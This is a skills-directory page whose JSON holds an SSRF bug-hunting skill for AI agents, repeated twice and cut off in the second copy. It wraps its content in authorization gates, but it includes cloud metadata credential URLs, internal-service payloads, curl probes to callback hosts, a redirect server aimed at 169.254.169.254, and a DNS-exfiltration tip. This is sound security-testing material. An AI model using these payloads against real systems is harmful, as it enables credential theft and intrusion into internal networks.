[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M6F7KGF4QH6R2QB77W5VXDBS":3,"skill-same:01M6F7KGF4QH6R2QB77W5VXDBS":79},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":15,"categories":16,"keywords":17,"publishedAt":41,"linkOnly":42,"markdownContent":43,"markdownBody":44,"frontMatter":45,"refName":21,"commitSha":53,"skillDirectory":54,"forksCount":55,"repositoryHtmlUrl":56,"repositoryHomepageUrl":6,"ownerHtmlUrl":57,"ownerBlogUrl":6,"ownerDescription":6,"updatedAt":58,"install":59,"resources":72},"01M6F7KGF4QH6R2QB77W5VXDBS","hunt-ssrf",null,"Hunting skill for ssrf vulnerabilities.","boisenoise\u002Fskills-collections","boisenoise","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F193180?v=4","01M6CDBDQK6BDN55ZMA6B6PKBM","01M6CDBDVSJ3JPTBYN26FZ7TZK",12,"MIT","https:\u002F\u002Fgithub.com\u002Fboisenoise\u002Fskills-collections\u002Fblob\u002Fmain\u002Fskills\u002Fantigravity-hunt-ssrf\u002FSKILL.md",[],[18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40],"hunt ssrf","ssrf","hunt","main","2026","hackerone","for","hunting","relevant","helper","offensive","scripts","scope","commands","testing","community","only","Tools","license","testing tools","research","security","github","2026-11-10 10:12:30",false,"---\nname: hunt-ssrf\ndescription: Hunting skill for ssrf vulnerabilities.\ncategory: security\nrisk: offensive\nsource: https:\u002F\u002Fgithub.com\u002Felementalsouls\u002FClaude-BugHunter\nsource_repo: elementalsouls\u002FClaude-BugHunter\nsource_type: community\ndate_added: '2026-09-20'\nlicense: MIT\nlicense_source: https:\u002F\u002Fgithub.com\u002Felementalsouls\u002FClaude-BugHunter\u002Fblob\u002Fmain\u002FLICENSE\ncompatibility: Requires explicit written authorization for a target scope plus the\n  relevant testing tools for this technique. Docs-only; helper scripts and commands\n  not bundled.\nsources: github, hackerone_public, portswigger_research, binarysecurity_research\nreport_count: 34\n---\n> **⚠️ AUTHORIZED USE ONLY**\n> This skill is for educational purposes or authorized security assessments only.\n> You must have explicit, written permission from the system owner before using this tool.\n> Misuse of this tool is illegal and strictly prohibited.\n\n> **Mandatory confirmation gate**\n> Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:\n> 1. Ask the user to state the exact target URL, IP, account, or resource.\n> 2. Ask the user to confirm written authorization and the permitted scope.\n> 3. Show the exact command(s) and explain their expected effect.\n> 4. Wait for explicit confirmation in the current conversation.\n>\n> Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.\n\n## Crown Jewel Targets\n\nSSRF is highest-value when the target runs on cloud infrastructure (AWS, GCP, Azure) where metadata services expose credentials, or when the server sits inside a complex internal network (Kubernetes clusters, microservice meshes, internal APIs). Priority targets:\n\n- **Cloud-hosted SaaS products** (GCP metadata at `169.254.169.254` or `metadata.google.internal`, AWS IMDSv1)\n- **Kubernetes\u002Forchestration platforms** — aggregated API servers, metrics-server, kubelet endpoints expose privileged cluster operations\n- **Internal developer tooling** — CI\u002FCD, workflow orchestration (Flyte, Argo), admin panels not exposed externally\n- **Link preview \u002F URL fetching features** — Reddit-style preview APIs, Slack-style unfurling, media processors\n- **Dataset\u002Ffile import pipelines** — anything that fetches remote URLs on behalf of a user\n- **Enterprise self-hosted software** (GitHub Enterprise, GitLab) — SSRF frequently chains to RCE via internal services\n\nPayouts are highest when SSRF reaches: cloud credentials → account takeover, internal admin APIs → data exfil, or chains to RCE.\n\n---\n\n## OOB-Or-It-Didn't-Happen Gate (Read First)\n\n**Claims of blind SSRF require an out-of-band (OOB) confirmation. Always. No exceptions.**\n\nOOB means: a Burp Collaborator domain, an `interactsh-client` listener, a canarytoken, or any DNS+HTTP receiver you control that confirms the server actually made an outbound network connection on your behalf.\n\n### What is NOT confirmation of SSRF\n\n- The server **echoing your URL back in an error message**. Example: `\"The Web application at http:\u002F\u002Fevil.example.com\u002Fx could not be found\"` — this is the server formatting your input into an error string, NOT making an outbound HTTP request. The error came from string formatting, not from network failure.\n- The server returning a different status code for an external URL vs `localhost`. Different error responses can come from URL-scheme validators, not from actual fetching.\n- A delayed response when the URL is sent. Delay can come from DNS resolution attempts within the parser, not from completed HTTP fetches.\n\n### What IS confirmation of SSRF\n\n- A unique DNS lookup confirms resolution only; attribute it to the target rather than a scanner\u002Fresolver, and do not claim an HTTP fetch from DNS alone.\n- An HTTP request to your Collaborator HTTP endpoint with the server's source IP and User-Agent.\n- For SSRF in JavaScript-execution contexts (PDF renderers, headless browsers), a fetch from the server to your callback URL.\n\n### Default workflow\n\n1. **Plant the Collaborator payload first.** Sub-tagging (`dlsrcurl.\u003Ccollab>`,\n   `import.\u003Ccollab>`) only works if your listener actually reports the queried\n   subdomain back to you — **verify that before relying on it.** Burp's\n   `get_collaborator_interactions` keys results by **payload ID, not by subdomain**,\n   so several sub-tags generated from one payload are indistinguishable in the\n   output. When that is the case, **generate a fresh payload per candidate\n   parameter** and send exactly one request per payload.\n2. **Send the request** to the target endpoint.\n3. **Wait 30–120 seconds**, then poll the OOB listener.\n4. **Only after a confirmed callback** do you claim SSRF.\n5. If no callbacks arrive, report this attempt as unconfirmed; egress filtering, asynchronous work or listener failure can produce false negatives. URL reflection alone remains insufficient.\n\n**Lesson from a authorized engagement:** SharePoint's `\u002F_layouts\u002F15\u002Fdownload.aspx?SourceUrl=` returned 500 with the title `\"The Web application at \u003Cattacker-URL> could not be found\"`. Initial scan flagged this as SSRF (server clearly processed the URL). 38 Collaborator-tagged payloads across 12+ URL-accepting parameters yielded **zero DNS or HTTP interactions**. The \"echo\" was client-side error-string formatting; the server never made an outbound HTTP request. The path is actually an SP-internal `SPFile`\u002F`SPWebApplication` resolver, not a generic URL fetcher. Reporting this as SSRF would have been N\u002FA'd at triage.\n\n### Attribute the callback to ONE parameter before reporting\n\nA callback proves the server made a request. It does **not** tell you which\nparameter caused it, and the fix depends entirely on that.\n\n```\nBAD   — four candidate fields, one payload, fired in one batch\n        -> callbacks arrive, attribution impossible, retest required\n\nGOOD  — fresh payload per field, one request each, poll between\n        url      -> callbacks    \u003C- this is the sink\n        apiUrl   -> none\n        endpoint -> none\n        target   -> none\n```\n\n**Run the negative control.** A parameter that produces *no* callback is evidence,\nand it belongs in the report — it is what lets the client fix the right field\ninstead of allowlisting the wrong one.\n\n**Lesson from an authorized engagement.** A server-side request-forwarding endpoint\naccepted both `url` and `apiUrl`. The application's own stored config used `apiUrl`,\nso that was the obvious suspect — but `apiUrl` was inert and **`url` was the live\nsink**.\nBatch-firing both had produced callbacks with no attribution; only per-payload\nisolation identified the real parameter. A report naming `apiUrl` would have sent\nthe client to patch a field that does nothing.\n\n### Blind vs full-read — establish which before scoring\n\nAfter a callback confirms the request leaves the server, **check whether the\nupstream response body is returned to you.** These are different findings:\n\n- **Blind** (callback only, no body): assess according to the program policy and concrete reachable impact; no universal never-submit rule applies.\n- **Full-read** (upstream body in the response): substantially higher severity —\n  read arbitrary internal endpoints directly.\n\n```bash\n# one request settles it: fetch something with a known, recognisable body\n-d '{\"url\":\"https:\u002F\u002Fexample.com\u002F\"}'\n# {\"statusCode\":200,\"data\":\"\u003C!doctype html>...\u003Ctitle>Example Domain\u003C\u002Ftitle>...\"}\n#                          ^ body returned = full-read, not blind\n```\n\nAlso body-diff a known-internal target against a known-external one. A **distinct\nstatus** on a link-local address (e.g. `401` from `169.254.169.254` where every\nother target returns `200`) could be a validator, proxy or upstream service response. Status differences alone do not identify metadata or prove internal reachability.\n\n\n---\n\n## Attack Surface Signals\n\n### URL Patterns to Hunt\n```\n\u002Fapi\u002F*\u002Fpreview\n\u002Fapi\u002F*\u002Ffetch\n\u002Fapi\u002F*\u002Fimport\n\u002Fapi\u002F*\u002Fwebhook\n\u002Fapi\u002F*\u002Fproxy\n\u002Fapi\u002F*\u002Frender\n\u002Fapi\u002F*\u002Flink\n\u002Fapi\u002F*\u002Fscreenshot\n\u002Fapi\u002F*\u002Fexport\n\u002Fapi\u002F*\u002Fvalidate\n?url=\n?uri=\n?endpoint=\n?redirect=\n?src=\n?source=\n?feed=\n?host=\n?target=\n?dest=\n?file=\n?path=\n?callback=\n?image=\n?load=\n?fetch=\n```\n\n### JS Patterns (in client-side code)\n```javascript\n\u002F\u002F Look for these in JS bundles\nfetch(userInput)\naxios.get(params.url)\nXMLHttpRequest + variable URL\nurl: req.body.url\nsrc: params.source\nhref: query.endpoint\n```\n\n### Response Header Signals\n```\nX-Forwarded-For headers echoed back\nServer: internal-service\nVia: 1.1 internal-proxy\nX-Cache headers revealing internal hostnames\n```\n\n### Tech Stack Signals\n- **Kubernetes** — any public-facing aggregated API, metrics endpoints\n- **GCP** — any service fetching URLs that runs on Compute Engine\u002FGKE\n- **Node.js\u002FPython** with URL-fetching libraries (`requests`, `node-fetch`, `axios`)\n- **Headless browsers** (Puppeteer, PhantomJS) used for screenshots\u002FPDF — extremely high value\n- **XML\u002FDSPL\u002FCSV import features** — XXE-style SSRF vector\n- **OAuth\u002Fwebhook registration** endpoints\n\n---\n\n## Step-by-Step Hunting Methodology\n\n1. **Map all URL-input parameters** across the target: spider JS files for fetch calls, check all API docs, look for file-import, link-preview, webhook, image-proxy, and redirect features.\n\n2. **Set up an out-of-band detection server** using Burp Collaborator, interactsh, or `https:\u002F\u002Fcanarytokens.org` — you need a unique per-test DNS\u002FHTTP callback domain.\n\n3. **Send your callback URL as the parameter value first** (blind SSRF check before anything else):\n   ```\n   url=https:\u002F\u002FYOUR.interactsh.com\u002Ftest\n   ```\n   Confirm the server makes an outbound connection. This proves execution before attempting internal targets.\n\n4. **Test internal cloud metadata endpoints**:\n   - GCP: `http:\u002F\u002Fmetadata.google.internal\u002FcomputeMetadata\u002Fv1\u002F`\n   - AWS: `http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002F`\n   - Azure: `http:\u002F\u002F169.254.169.254\u002Fmetadata\u002Finstance`\n\n5. **Test localhost and common internal ports**:\n   ```\n   http:\u002F\u002Flocalhost\u002F\n   http:\u002F\u002F127.0.0.1:8080\u002F\n   http:\u002F\u002F127.0.0.1:6443\u002F  (Kubernetes API)\n   http:\u002F\u002F127.0.0.1:2379\u002F  (etcd)\n   http:\u002F\u002F127.0.0.1:9090\u002F  (Prometheus)\n   http:\u002F\u002F127.0.0.1:9200\u002F  (Elasticsearch)\n   ```\n\n6. **Check for redirect-based SSRF** — if the endpoint validates the initial URL but follows 30x redirects, host a redirect server pointing to internal addresses. Kubernetes report (Report 3) was specifically triggered by hijacked API servers returning 30x responses.\n\n7. **Test JavaScript-execution contexts** (headless browsers, PDF renderers):\n   - Inject `\u003Cscript>` tags that make `XMLHttpRequest` or `fetch()` calls to internal services\n   - Exfil via DNS: encode response data in subdomain of your callback domain\n\n8. **Enumerate the internal network** using timing differences and error message variations:\n   - Port scan via response time (`connection refused` vs timeout)\n   - Check error messages for hostname\u002FIP leakage\n\n9. **Chain findings** — if you have SSRF to internal services, look for:\n   - Unauthenticated admin endpoints\n   - Redis, memcached (protocol smuggling)\n   - Internal OAuth token endpoints\n   - SSRF → CSRF → RCE (GitHub Enterprise pattern)\n\n10. **Document the full chain** with screenshots of each hop before reporting.\n\n---\n\n## Payload & Detection Patterns\n\n### Basic Out-of-Band Detection\n```bash\n# Using interactsh-client\ninteractsh-client -v\n\n# Test parameter\ncurl -s \"https:\u002F\u002Ftarget.com\u002Fapi\u002Fpreview?url=https:\u002F\u002FYOUR_ID.oast.pro\"\n\n# With common headers that might unlock SSRF\ncurl -s \"https:\u002F\u002Ftarget.com\u002Fapi\u002Ffetch\" \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"url\":\"https:\u002F\u002FYOUR_ID.oast.pro\"}'\n```\n\n### Cloud Metadata Payloads\n```bash\n# GCP - requires Metadata-Flavor header (test if server adds it automatically)\nhttp:\u002F\u002Fmetadata.google.internal\u002FcomputeMetadata\u002Fv1\u002Finstance\u002Fservice-accounts\u002Fdefault\u002Ftoken\nhttp:\u002F\u002F169.254.169.254\u002FcomputeMetadata\u002Fv1\u002Fproject\u002Fproject-id\nhttp:\u002F\u002Fmetadata\u002FcomputeMetadata\u002Fv1\u002F\nhttp:\u002F\u002F169.254.169.254\u002FcomputeMetadata\u002Fv1\u002F\n\n# AWS IMDSv1 (no auth required)\nhttp:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002Fiam\u002Fsecurity-credentials\u002F\nhttp:\u002F\u002F169.254.169.254\u002Flatest\u002Fuser-data\n# AWS ECS task credentials (retrieve from env var AWS_CONTAINER_CREDENTIALS_RELATIVE_URI)\nhttp:\u002F\u002F169.254.170.2${AWS_CONTAINER_CREDENTIALS_RELATIVE_URI}\n\n# Azure - instance metadata and managed identity token\nhttp:\u002F\u002F169.254.169.254\u002Fmetadata\u002Finstance?api-version=2021-02-01\nhttp:\u002F\u002F169.254.169.254\u002Fmetadata\u002Fidentity\u002Foauth2\u002Ftoken?api-version=2018-02-01&resource=https:\u002F\u002Fmanagement.azure.com\u002F\n# Requires Metadata: true header for Azure requests\n\n# Kubernetes service account credentials (file:\u002F\u002F SSRF)\nfile:\u002F\u002F\u002Fvar\u002Frun\u002Fsecrets\u002Fkubernetes.io\u002Fserviceaccount\u002Ftoken\nfile:\u002F\u002F\u002Fvar\u002Frun\u002Fsecrets\u002Fkubernetes.io\u002Fserviceaccount\u002Fca.crt\n```\n\n### Localhost\u002FInternal Port Payloads\n```bash\n# Kubernetes internals\nhttp:\u002F\u002F127.0.0.1:6443\u002Fapi\u002Fv1\u002Fnamespaces\nhttp:\u002F\u002F10.0.0.1:6443\u002Fapi\u002Fv1\u002Fsecrets\nhttp:\u002F\u002F127.0.0.1:10250\u002Fpods          # kubelet\nhttp:\u002F\u002F127.0.0.1:2379\u002Fv2\u002Fkeys        # etcd\n\n# Common internal services\nhttp:\u002F\u002F127.0.0.1:6379\u002F               # Redis (check for inline commands)\nhttp:\u002F\u002F127.0.0.1:9200\u002F_cat\u002Findices   # Elasticsearch\nhttp:\u002F\u002F127.0.0.1:5601\u002F               # Kibana\nhttp:\u002F\u002F127.0.0.1:8500\u002Fv1\u002Fcatalog\u002Fservices  # Consul\n```\n\n### Redirect-Based SSRF (when direct is blocked)\n```python\n# Simple Python redirect server\nfrom http.server import HTTPServer, BaseHTTPRequestHandler\n\nclass Redirect(BaseHTTPRequestHandler):\n    def do_GET(self):\n        self.send_response(301)\n        self.send_header('Location', 'http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002F')\n        self.end_headers()\n\nHTTPServer(('0.0.0.0', 8080), Redirect).serve_forever()\n```\n\n### Headless-renderer validation\n\nUse a unique harmless callback to an owned receiver and a separate synthetic internal canary only when explicitly in scope. Browser same-origin\u002FCORS\u002Fprivate-network restrictions may prevent reading internal responses even when a request is sent. Do not fetch or encode real metadata tokens, user data or secrets into callback URLs\u002FDNS labels.\n\n### Grep Patterns for Source Code Review\n```bash\n# Find URL fetch operations\ngrep -rE \"(fetch|curl|urllib|requests\\.get|http\\.get|axios\\.get)\\s*\\(\" --include=\"*.py\" --include=\"*.js\" --include=\"*.go\"\n\n# Find URL parameters being passed to HTTP clients\ngrep -rE \"(url|uri|endpoint|redirect|src|source)\\s*=\\s*req\\.(query|body|params)\" --include=\"*.js\"\n\n# Find redirect following\ngrep -rE \"(follow_redirects|allow_redirects|followRedirects)\\s*=\\s*[Tt]rue\"\n```\n\n### ffuf Parameter Discovery\n```bash\nffuf -w \u002Fusr\u002Fshare\u002Fseclists\u002FDiscovery\u002FWeb-Content\u002Fburp-parameter-names.txt \\\n  -u \"https:\u002F\u002Ftarget.com\u002Fapi\u002Fendpoint?FUZZ=https:\u002F\u002FYOUR.callback.com\" \\\n  -fs 0 -mc all\n```\n\n---\n\n## Common Root Causes\n\n1. **\"The user said it was safe\"** — Developers trust user-supplied URLs for fetching remote resources (link previews, thumbnails, webhooks) without validating the destination. The feature is legitimate; the missing validation is the bug.\n\n2. **Allowlist bypass via redirects** — Developers validate the initial URL against an allowlist but configure HTTP clients to follow redirects automatically. An attacker's server on the allowlist redirects to an internal address.\n\n3. **Aggregated\u002Fproxy API trust** — Kubernetes-style architectures where an API aggregation layer blindly proxies 30x responses from registered extension servers. Compromising a single extension server gives SSRF into the core API.\n\n4. **Server-side rendering without sandboxing** — Headless browser features (PDF generation, link preview screenshots) execute attacker-controlled JavaScript in a network-privileged context with access to metadata services.\n\n5. **XML\u002FDSPL\u002Ffile parsers fetching external entities** — Import features that parse structured files (XML, DSPL, CSV with remote schemas) fetch attacker-controlled URLs, often with no URL validation at all.\n\n6. **Internal hostname leakage via response differences** — Services return different error messages, timing, or response sizes for internal vs. external hosts, enabling blind enumeration even when content isn't returned.\n\n7. **Metadata reachability** — AWS IMDSv2 requires a session-token exchange; GCP normally requires `Metadata-Flavor: Google`. URL-only SSRF does not automatically satisfy these constraints or imply credential access.\n\n---\n\n\n## Contents\n\n- [Bypass Techniques](references\u002Fdetails.md)\n- [Gate 0 Validation](references\u002Fdetails.md)\n- [Real Impact Examples](references\u002Fdetails.md)\n- [Disclosed Report Citations (Backfill +6 — 2018-2024)](references\u002Fdetails.md)\n- [Related Skills & Chains](references\u002Fdetails.md)\n\n## When to Use\n\n- You have explicit, written authorization to assess the target in scope, and the task matches this skill's vulnerability class or technique within a bug-bounty or penetration-test engagement.\n- You need the recon, exploitation, or validation workflow described below — executed strictly inside the approved scope.\n\n## Limitations\n\n- Restrict callbacks to an approved owned receiver; do not send credentials or personal data to OOB services. Internal scanning, cloud metadata, file schemes and protocol-changing tests require explicit scope and minimal synthetic proof. URL parser, redirect, TLS, header and browser restrictions vary by implementation; payload lists are hypotheses, not guaranteed bypasses.\n\n- Authorized scope only: the confirmation gate above is mandatory before any probing, exploitation, or credential-access command.\n- Docs-only import: upstream helper scripts, commands, engine, and research assets are not bundled; reinstall tooling from the source repo when needed.\n- Validate every finding (see `triage-validation`) before reporting; report via `report-writing`. Prefer a sandbox, disposable VM, or controlled lab.\n\n### Example\n\n```bash\n# Read-only first step; confirm scope before anything active.\ncat scope.txt  # target list from the authorized engagement brief\n```\n\n> Adapted from [elementalsouls\u002FClaude-BugHunter](https:\u002F\u002Fgithub.com\u002Felementalsouls\u002FClaude-BugHunter) (MIT); frontmatter, When to Use\u002FLimitations, and safety boundaries added for upstream compliance. Docs-only import: executable helpers, commands, engine, and research assets not bundled.\n","> **⚠️ AUTHORIZED USE ONLY**\n> This skill is for educational purposes or authorized security assessments only.\n> You must have explicit, written permission from the system owner before using this tool.\n> Misuse of this tool is illegal and strictly prohibited.\n\n> **Mandatory confirmation gate**\n> Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:\n> 1. Ask the user to state the exact target URL, IP, account, or resource.\n> 2. Ask the user to confirm written authorization and the permitted scope.\n> 3. Show the exact command(s) and explain their expected effect.\n> 4. Wait for explicit confirmation in the current conversation.\n>\n> Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.\n\n## Crown Jewel Targets\n\nSSRF is highest-value when the target runs on cloud infrastructure (AWS, GCP, Azure) where metadata services expose credentials, or when the server sits inside a complex internal network (Kubernetes clusters, microservice meshes, internal APIs). Priority targets:\n\n- **Cloud-hosted SaaS products** (GCP metadata at `169.254.169.254` or `metadata.google.internal`, AWS IMDSv1)\n- **Kubernetes\u002Forchestration platforms** — aggregated API servers, metrics-server, kubelet endpoints expose privileged cluster operations\n- **Internal developer tooling** — CI\u002FCD, workflow orchestration (Flyte, Argo), admin panels not exposed externally\n- **Link preview \u002F URL fetching features** — Reddit-style preview APIs, Slack-style unfurling, media processors\n- **Dataset\u002Ffile import pipelines** — anything that fetches remote URLs on behalf of a user\n- **Enterprise self-hosted software** (GitHub Enterprise, GitLab) — SSRF frequently chains to RCE via internal services\n\nPayouts are highest when SSRF reaches: cloud credentials → account takeover, internal admin APIs → data exfil, or chains to RCE.\n\n---\n\n## OOB-Or-It-Didn't-Happen Gate (Read First)\n\n**Claims of blind SSRF require an out-of-band (OOB) confirmation. Always. No exceptions.**\n\nOOB means: a Burp Collaborator domain, an `interactsh-client` listener, a canarytoken, or any DNS+HTTP receiver you control that confirms the server actually made an outbound network connection on your behalf.\n\n### What is NOT confirmation of SSRF\n\n- The server **echoing your URL back in an error message**. Example: `\"The Web application at http:\u002F\u002Fevil.example.com\u002Fx could not be found\"` — this is the server formatting your input into an error string, NOT making an outbound HTTP request. The error came from string formatting, not from network failure.\n- The server returning a different status code for an external URL vs `localhost`. Different error responses can come from URL-scheme validators, not from actual fetching.\n- A delayed response when the URL is sent. Delay can come from DNS resolution attempts within the parser, not from completed HTTP fetches.\n\n### What IS confirmation of SSRF\n\n- A unique DNS lookup confirms resolution only; attribute it to the target rather than a scanner\u002Fresolver, and do not claim an HTTP fetch from DNS alone.\n- An HTTP request to your Collaborator HTTP endpoint with the server's source IP and User-Agent.\n- For SSRF in JavaScript-execution contexts (PDF renderers, headless browsers), a fetch from the server to your callback URL.\n\n### Default workflow\n\n1. **Plant the Collaborator payload first.** Sub-tagging (`dlsrcurl.\u003Ccollab>`,\n   `import.\u003Ccollab>`) only works if your listener actually reports the queried\n   subdomain back to you — **verify that before relying on it.** Burp's\n   `get_collaborator_interactions` keys results by **payload ID, not by subdomain**,\n   so several sub-tags generated from one payload are indistinguishable in the\n   output. When that is the case, **generate a fresh payload per candidate\n   parameter** and send exactly one request per payload.\n2. **Send the request** to the target endpoint.\n3. **Wait 30–120 seconds**, then poll the OOB listener.\n4. **Only after a confirmed callback** do you claim SSRF.\n5. If no callbacks arrive, report this attempt as unconfirmed; egress filtering, asynchronous work or listener failure can produce false negatives. URL reflection alone remains insufficient.\n\n**Lesson from a authorized engagement:** SharePoint's `\u002F_layouts\u002F15\u002Fdownload.aspx?SourceUrl=` returned 500 with the title `\"The Web application at \u003Cattacker-URL> could not be found\"`. Initial scan flagged this as SSRF (server clearly processed the URL). 38 Collaborator-tagged payloads across 12+ URL-accepting parameters yielded **zero DNS or HTTP interactions**. The \"echo\" was client-side error-string formatting; the server never made an outbound HTTP request. The path is actually an SP-internal `SPFile`\u002F`SPWebApplication` resolver, not a generic URL fetcher. Reporting this as SSRF would have been N\u002FA'd at triage.\n\n### Attribute the callback to ONE parameter before reporting\n\nA callback proves the server made a request. It does **not** tell you which\nparameter caused it, and the fix depends entirely on that.\n\n```\nBAD   — four candidate fields, one payload, fired in one batch\n        -> callbacks arrive, attribution impossible, retest required\n\nGOOD  — fresh payload per field, one request each, poll between\n        url      -> callbacks    \u003C- this is the sink\n        apiUrl   -> none\n        endpoint -> none\n        target   -> none\n```\n\n**Run the negative control.** A parameter that produces *no* callback is evidence,\nand it belongs in the report — it is what lets the client fix the right field\ninstead of allowlisting the wrong one.\n\n**Lesson from an authorized engagement.** A server-side request-forwarding endpoint\naccepted both `url` and `apiUrl`. The application's own stored config used `apiUrl`,\nso that was the obvious suspect — but `apiUrl` was inert and **`url` was the live\nsink**.\nBatch-firing both had produced callbacks with no attribution; only per-payload\nisolation identified the real parameter. A report naming `apiUrl` would have sent\nthe client to patch a field that does nothing.\n\n### Blind vs full-read — establish which before scoring\n\nAfter a callback confirms the request leaves the server, **check whether the\nupstream response body is returned to you.** These are different findings:\n\n- **Blind** (callback only, no body): assess according to the program policy and concrete reachable impact; no universal never-submit rule applies.\n- **Full-read** (upstream body in the response): substantially higher severity —\n  read arbitrary internal endpoints directly.\n\n```bash\n# one request settles it: fetch something with a known, recognisable body\n-d '{\"url\":\"https:\u002F\u002Fexample.com\u002F\"}'\n# {\"statusCode\":200,\"data\":\"\u003C!doctype html>...\u003Ctitle>Example Domain\u003C\u002Ftitle>...\"}\n#                          ^ body returned = full-read, not blind\n```\n\nAlso body-diff a known-internal target against a known-external one. A **distinct\nstatus** on a link-local address (e.g. `401` from `169.254.169.254` where every\nother target returns `200`) could be a validator, proxy or upstream service response. Status differences alone do not identify metadata or prove internal reachability.\n\n\n---\n\n## Attack Surface Signals\n\n### URL Patterns to Hunt\n```\n\u002Fapi\u002F*\u002Fpreview\n\u002Fapi\u002F*\u002Ffetch\n\u002Fapi\u002F*\u002Fimport\n\u002Fapi\u002F*\u002Fwebhook\n\u002Fapi\u002F*\u002Fproxy\n\u002Fapi\u002F*\u002Frender\n\u002Fapi\u002F*\u002Flink\n\u002Fapi\u002F*\u002Fscreenshot\n\u002Fapi\u002F*\u002Fexport\n\u002Fapi\u002F*\u002Fvalidate\n?url=\n?uri=\n?endpoint=\n?redirect=\n?src=\n?source=\n?feed=\n?host=\n?target=\n?dest=\n?file=\n?path=\n?callback=\n?image=\n?load=\n?fetch=\n```\n\n### JS Patterns (in client-side code)\n```javascript\n\u002F\u002F Look for these in JS bundles\nfetch(userInput)\naxios.get(params.url)\nXMLHttpRequest + variable URL\nurl: req.body.url\nsrc: params.source\nhref: query.endpoint\n```\n\n### Response Header Signals\n```\nX-Forwarded-For headers echoed back\nServer: internal-service\nVia: 1.1 internal-proxy\nX-Cache headers revealing internal hostnames\n```\n\n### Tech Stack Signals\n- **Kubernetes** — any public-facing aggregated API, metrics endpoints\n- **GCP** — any service fetching URLs that runs on Compute Engine\u002FGKE\n- **Node.js\u002FPython** with URL-fetching libraries (`requests`, `node-fetch`, `axios`)\n- **Headless browsers** (Puppeteer, PhantomJS) used for screenshots\u002FPDF — extremely high value\n- **XML\u002FDSPL\u002FCSV import features** — XXE-style SSRF vector\n- **OAuth\u002Fwebhook registration** endpoints\n\n---\n\n## Step-by-Step Hunting Methodology\n\n1. **Map all URL-input parameters** across the target: spider JS files for fetch calls, check all API docs, look for file-import, link-preview, webhook, image-proxy, and redirect features.\n\n2. **Set up an out-of-band detection server** using Burp Collaborator, interactsh, or `https:\u002F\u002Fcanarytokens.org` — you need a unique per-test DNS\u002FHTTP callback domain.\n\n3. **Send your callback URL as the parameter value first** (blind SSRF check before anything else):\n   ```\n   url=https:\u002F\u002FYOUR.interactsh.com\u002Ftest\n   ```\n   Confirm the server makes an outbound connection. This proves execution before attempting internal targets.\n\n4. **Test internal cloud metadata endpoints**:\n   - GCP: `http:\u002F\u002Fmetadata.google.internal\u002FcomputeMetadata\u002Fv1\u002F`\n   - AWS: `http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002F`\n   - Azure: `http:\u002F\u002F169.254.169.254\u002Fmetadata\u002Finstance`\n\n5. **Test localhost and common internal ports**:\n   ```\n   http:\u002F\u002Flocalhost\u002F\n   http:\u002F\u002F127.0.0.1:8080\u002F\n   http:\u002F\u002F127.0.0.1:6443\u002F  (Kubernetes API)\n   http:\u002F\u002F127.0.0.1:2379\u002F  (etcd)\n   http:\u002F\u002F127.0.0.1:9090\u002F  (Prometheus)\n   http:\u002F\u002F127.0.0.1:9200\u002F  (Elasticsearch)\n   ```\n\n6. **Check for redirect-based SSRF** — if the endpoint validates the initial URL but follows 30x redirects, host a redirect server pointing to internal addresses. Kubernetes report (Report 3) was specifically triggered by hijacked API servers returning 30x responses.\n\n7. **Test JavaScript-execution contexts** (headless browsers, PDF renderers):\n   - Inject `\u003Cscript>` tags that make `XMLHttpRequest` or `fetch()` calls to internal services\n   - Exfil via DNS: encode response data in subdomain of your callback domain\n\n8. **Enumerate the internal network** using timing differences and error message variations:\n   - Port scan via response time (`connection refused` vs timeout)\n   - Check error messages for hostname\u002FIP leakage\n\n9. **Chain findings** — if you have SSRF to internal services, look for:\n   - Unauthenticated admin endpoints\n   - Redis, memcached (protocol smuggling)\n   - Internal OAuth token endpoints\n   - SSRF → CSRF → RCE (GitHub Enterprise pattern)\n\n10. **Document the full chain** with screenshots of each hop before reporting.\n\n---\n\n## Payload & Detection Patterns\n\n### Basic Out-of-Band Detection\n```bash\n# Using interactsh-client\ninteractsh-client -v\n\n# Test parameter\ncurl -s \"https:\u002F\u002Ftarget.com\u002Fapi\u002Fpreview?url=https:\u002F\u002FYOUR_ID.oast.pro\"\n\n# With common headers that might unlock SSRF\ncurl -s \"https:\u002F\u002Ftarget.com\u002Fapi\u002Ffetch\" \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"url\":\"https:\u002F\u002FYOUR_ID.oast.pro\"}'\n```\n\n### Cloud Metadata Payloads\n```bash\n# GCP - requires Metadata-Flavor header (test if server adds it automatically)\nhttp:\u002F\u002Fmetadata.google.internal\u002FcomputeMetadata\u002Fv1\u002Finstance\u002Fservice-accounts\u002Fdefault\u002Ftoken\nhttp:\u002F\u002F169.254.169.254\u002FcomputeMetadata\u002Fv1\u002Fproject\u002Fproject-id\nhttp:\u002F\u002Fmetadata\u002FcomputeMetadata\u002Fv1\u002F\nhttp:\u002F\u002F169.254.169.254\u002FcomputeMetadata\u002Fv1\u002F\n\n# AWS IMDSv1 (no auth required)\nhttp:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002Fiam\u002Fsecurity-credentials\u002F\nhttp:\u002F\u002F169.254.169.254\u002Flatest\u002Fuser-data\n# AWS ECS task credentials (retrieve from env var AWS_CONTAINER_CREDENTIALS_RELATIVE_URI)\nhttp:\u002F\u002F169.254.170.2${AWS_CONTAINER_CREDENTIALS_RELATIVE_URI}\n\n# Azure - instance metadata and managed identity 